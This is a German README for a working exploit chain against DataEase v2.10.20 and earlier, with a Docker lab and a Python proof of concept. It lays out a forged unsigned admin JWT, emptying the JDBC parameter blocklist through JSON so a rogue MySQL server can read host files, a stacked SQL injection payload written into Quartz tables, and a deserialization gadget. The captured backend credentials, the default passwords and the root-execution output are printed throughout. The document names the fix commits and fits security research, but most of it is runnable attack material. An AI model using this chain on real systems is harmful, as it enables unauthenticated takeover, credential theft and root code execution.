
Automatisierter Exploit für DataEase: 4-Schwachstellenkette (Auth-Bypass, JDBC-Blocklist-Bypass, SQL-Injection, Java-Deserialisierung) ermöglicht nicht authentifizierte RCE. Enthält Docker-Lab und Python-PoC.
Authentifizierungsumgehung → JDBC-Blocklist-Umgehung (beliebiges Dateilesen) → SQL-Injection → Java-Deserialisierung in Quartz → Remote-Code-Ausführung als
root.In sich geschlossenes lokales Labor (Docker) + funktionierender PoC. Behoben in DataEase v2.10.21.
DataEase ist eine beliebte Open-Source-BI- und Datenvisualisierungsplattform (Java / Spring Boot). Versionen ≤ v2.10.20 sind anfällig für eine Kette von vier Schwachstellen, die zusammen ein netzwerkerreichbares DataEase in Remote-Code-Ausführung verwandeln:
| # | CVE | Klasse | Was es uns bringt |
|---|---|---|---|
| 1 | CVE-2026-23958 | Authentifizierungsumgehung (CWE-287/CWE-347) | Als admin agieren — keine gültige Signatur benötigt |
| 2 | CVE-2026-40899 | JDBC-Blocklist-Umgehung (CWE-20) | Beliebiges Dateilesen → Backend-DB-Anmeldedaten stehlen |
| 3 | CVE-2026-40900 | SQL-Injection / gestapelte Abfragen (CWE-89) | In DataEase-eigene Datenbank schreiben |
| 4 | CVE-2026-40901 | Java-Deserialisierung (CWE-502) | RCE als Root über den Quartz-Job-Speicher |
# 1. bring up a vulnerable DataEase v2.10.20 + MySQL
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)
# 2. fire the chain
python3 exploit/de_rce_chain.py
# 3. a few seconds later, confirm code execution as root
docker exec dataease cat /tmp/pwned_CVE_2026_40901
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),...
# PWNED_BY_CVE_2026_40901
# Linux 82a2b09d68e9 6.10.14-linuxkit ... aarch64 Linux
Alles läuft lokal in Docker. Keine externen Dienste, kein Internetziel.
docker-compose.yml anfälliges DataEase v2.10.20 + MySQL 8.4
conf/application-standalone.yml zeigt die DB auf lokales mysql-de
mysql/ my.cnf + init.sql (erzeugt die leere `dataease`-DB)
exploit/ der PoC
Starten:
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)
http://localhost:8100 (API-Präfix /de2api)admin / DataEase@123456Voraussetzungen auf dem Host: Docker, Python 3.8+ mit cryptography
(pip install -r exploit/requirements.txt) und die Docker-CLI (wird verwendet, um
ysoserial in einem Einweg-eclipse-temurin:8-jre-Container auszuführen, um das Gadget zu erstellen).
DataEase authentifiziert Anfragen in einem Servlet-Filter, TokenFilter
(sdk/common/.../auth/filter/TokenFilter.java). Es liest das Token und ruft
TokenUtils.validate() auf, was in Folgendem endet:
// io.dataease.utils.TokenUtils
public static TokenUserBO userBOByToken(String token) {
DecodedJWT jwt = JWT.decode(token); // <-- decode only, NO signature check
Long userId = jwt.getClaim("uid").asLong();
Long oid = jwt.getClaim("oid").asLong();
...
return new TokenUserBO(userId, oid);
}
JWT.decode() überprüft nie die Signatur. Die einzigen Prüfungen sind: Das Token hat
≥ 100 Zeichen und trägt einen Integer-uid-Anspruch. Also lässt jedes JWT, das
"uid": 1 angibt, die Anfrage als integrierten Administrator (uid 1) laufen.
Es gibt einen zweiten Filter (CommunityTokenFilter), der tatsächlich eine Signatur
für den X-DE-TOKEN-Header überprüft – aber nur unter bestimmten Bedingungen, und der
Signaturschlüssel ist entweder ein pro Benutzer geheimer Schlüssel oder, in einer einfachen Community-Build, der MD5
des hartcodierten Standardpassworts DataEase@123456
(SubstituleLoginConfig → dataease.default-pwd). Der zugehörige Share-Link-Pfad
(X-DE-LINK-TOKEN) ist mit dem hartcodierten Schlüssel
link-pwd-fit2cloud (LinkTokenUtil.defaultPwd) signiert und wurde vor dem Fix ebenfalls ohne
Überprüfung dekodiert.
Nettoeffekt: Ein Angreifer kann einen Administrator-Token prägen. de_common.py
enthält forge_jwt(), das den signaturlosen Token erzeugt; der PoC unterstützt
auch einfach das Einloggen mit den allgegenwärtigen Standard-Anmeldedaten, um einen
vollständig gültigen X-DE-TOKEN für den Rest der Kette zu erhalten.
Der Fix (Commit 00c169caa) bewirkt, dass TokenFilter das echte pro-Ressource-Geheimnis
nachschlägt und tatsächlich verifier.verify(...) aufruft.
Wenn Sie eine MySQL-Datenquelle hinzufügen, verweigert DataEase eine Reihe gefährlicher JDBC-Parameter.
Diese Blockliste lebt in einem Lombok @Data-Feld:
// io.dataease.datasource.type.Mysql (extends DatasourceConfiguration, @Data)
private List<String> illegalParameters = Arrays.asList(
"maxAllowedPacket","autoDeserialize","queryInterceptors","statementInterceptors",
"detectCustomCollations","allowloadlocalinfile","allowUrlInLocalInfile",
"allowLoadLocalInfileInPath");
Weil @Data automatisch setIllegalParameters(...) generiert, wird Jackson es bereitwillig
aus vom Angreifer kontrolliertem JSON befüllen. Das Senden von "illegalParameters": [] im
(Base64-kodierten) configuration-Blob leert die Blockliste, bevor sie überprüft wird.
Wir können dann die Datenquelle auf einen Rogue-MySQL-Server mit
allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/ verweisen
und beliebige Dateien vom DataEase-Host via MySQL LOCAL INFILE-Mechanismus lesen.
# terminal A — rogue server, choose any file to steal
python3 exploit/rogue_mysql.py --port 3307 \
--file /opt/apps/config/application-standalone.yml
# terminal B — make DataEase connect to it (host.docker.internal reaches your host)
python3 exploit/file_read.py --rogue-host host.docker.internal --rogue-port 3307
Ergebnis — DataEase gibt uns seine eigenen Backend-DB-Anmeldedaten:
[+] captured '/opt/apps/config/application-standalone.yml' (613 bytes) from client:
spring:
datasource:
url: jdbc:mysql://mysql-de:3306/dataease?...
username: root
password: Password123@mysql
Diese Anmeldedaten verwendet ein Angreifer, um Schritt 3 auf DataEase-eigene Datenbank
auszurichten. Der Fix (Commit 16a950f96) fügt @JsonIgnore zu jedem
illegalParameters-Feld hinzu, sodass es nicht mehr aus JSON gesetzt werden kann.
previewSqlPOST /de2api/datasetData/previewSql nimmt einen Base64-kodierten SQL-String
auf und umschließt ihn ohne Einzelanweisungsvalidierung als Unterabfrage:
SELECT * FROM ( <your SQL> ) AS `tmp` LIMIT 100 OFFSET 0
Kommentare werden entfernt, aber wir können die Klammern ausgleichen und ; verwenden, um
zusätzliche Anweisungen auszuführen. Da wir die Datenquelle kontrollieren, aktivieren wir
allowMultiQueries=true (nicht in der Blockliste von v2.10.20), also werden gestapelte
Abfragen ausgeführt:
select 1) AS x;
UPDATE QRTZ_JOB_DETAILS SET JOB_DATA=0x<gadget> WHERE ... ;
SELECT * FROM (select 1
was der Server zu drei echten Anweisungen zusammenfasst. Wenn wir diese Datenquelle auf DataEases
eigene Datenbank zeigen (Anmeldedaten aus Schritt 2), können wir in ihre Quartz-Tabellen
schreiben. Fixes: 15611593b fügt allowMultiQueries zur Blockliste hinzu und
e89059d88 verstärkt den Speicher-/Engine-Fluss.
DataEase plant einen wiederkehrenden "Datenquellen-Statusprüfung"-Quartz-Job:
deSyncJob, Job Datasource / check_status, Klasse
io.dataease.job.schedule.CheckDsStatusJob0 0/6 * * * ? * (Standard: alle 6 Minuten)